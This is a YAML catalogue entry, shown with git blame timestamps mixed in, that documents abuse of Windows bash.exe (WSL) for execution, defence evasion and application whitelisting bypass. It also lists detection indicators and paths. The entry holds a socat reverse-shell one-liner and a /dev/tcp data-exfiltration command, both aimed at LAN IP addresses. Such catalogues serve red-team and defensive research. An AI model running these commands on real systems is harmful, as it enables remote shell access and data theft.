2018-06-09 00:15:06 +02:00
|
|
|
---
|
|
|
|
Name: Bash.exe
|
2018-09-24 01:50:14 +02:00
|
|
|
Description: File used by Windows subsystem for Linux
|
|
|
|
Author: 'Oddvar Moe'
|
2018-06-09 00:15:06 +02:00
|
|
|
Created: '2018-05-25'
|
|
|
|
Commands:
|
|
|
|
- Command: bash.exe -c calc.exe
|
2018-09-24 01:50:14 +02:00
|
|
|
Description: Executes calc.exe from bash.exe
|
|
|
|
Usecase: Performs execution of specified file, can be used as a defensive evasion.
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1218
|
|
|
|
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
|
|
|
|
OperatingSystem: Windows 10
|
2020-03-25 11:24:54 +01:00
|
|
|
- Command: bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"
|
2020-03-25 11:08:13 +01:00
|
|
|
Description: Executes a reverseshell
|
|
|
|
Usecase: Performs execution of specified file, can be used as a defensive evasion.
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1218
|
|
|
|
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
|
|
|
|
OperatingSystem: Windows 10
|
|
|
|
- Command: bash.exe -c 'cat file_to_exfil.zip > /dev/tcp/192.168.1.10/24'
|
|
|
|
Description: Exfiltrate data
|
|
|
|
Usecase: Performs execution of specified file, can be used as a defensive evasion.
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1218
|
|
|
|
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
|
|
|
|
OperatingSystem: Windows 10
|
2018-09-24 23:18:00 +02:00
|
|
|
- Command: bash.exe -c calc.exe
|
2018-09-24 01:50:14 +02:00
|
|
|
Description: Executes calc.exe from bash.exe
|
|
|
|
Usecase: Performs execution of specified file, can be used to bypass Application Whitelisting.
|
|
|
|
Category: AWL Bypass
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1218
|
|
|
|
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
|
|
|
|
OperatingSystem: Windows 10
|
2018-12-10 14:28:12 +01:00
|
|
|
Full_Path:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Path: C:\Windows\System32\bash.exe
|
|
|
|
- Path: C:\Windows\SysWOW64\bash.exe
|
2018-12-10 14:28:12 +01:00
|
|
|
Code_Sample:
|
2018-09-24 23:18:00 +02:00
|
|
|
- Code:
|
2018-09-24 01:50:14 +02:00
|
|
|
Detection:
|
2018-09-24 23:18:00 +02:00
|
|
|
- IOC: Child process from bash.exe
|
2018-06-09 00:15:06 +02:00
|
|
|
Resources:
|
2018-09-24 01:50:14 +02:00
|
|
|
- Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
|
|
|
|
Acknowledgement:
|
|
|
|
- Person: Alex Ionescu
|
|
|
|
Handle: '@aionescu'
|
2020-03-25 11:08:13 +01:00
|
|
|
- Person: Asif Matadar
|
|
|
|
Handle: '@d1r4c'
|
2018-09-24 01:50:14 +02:00
|
|
|
---
|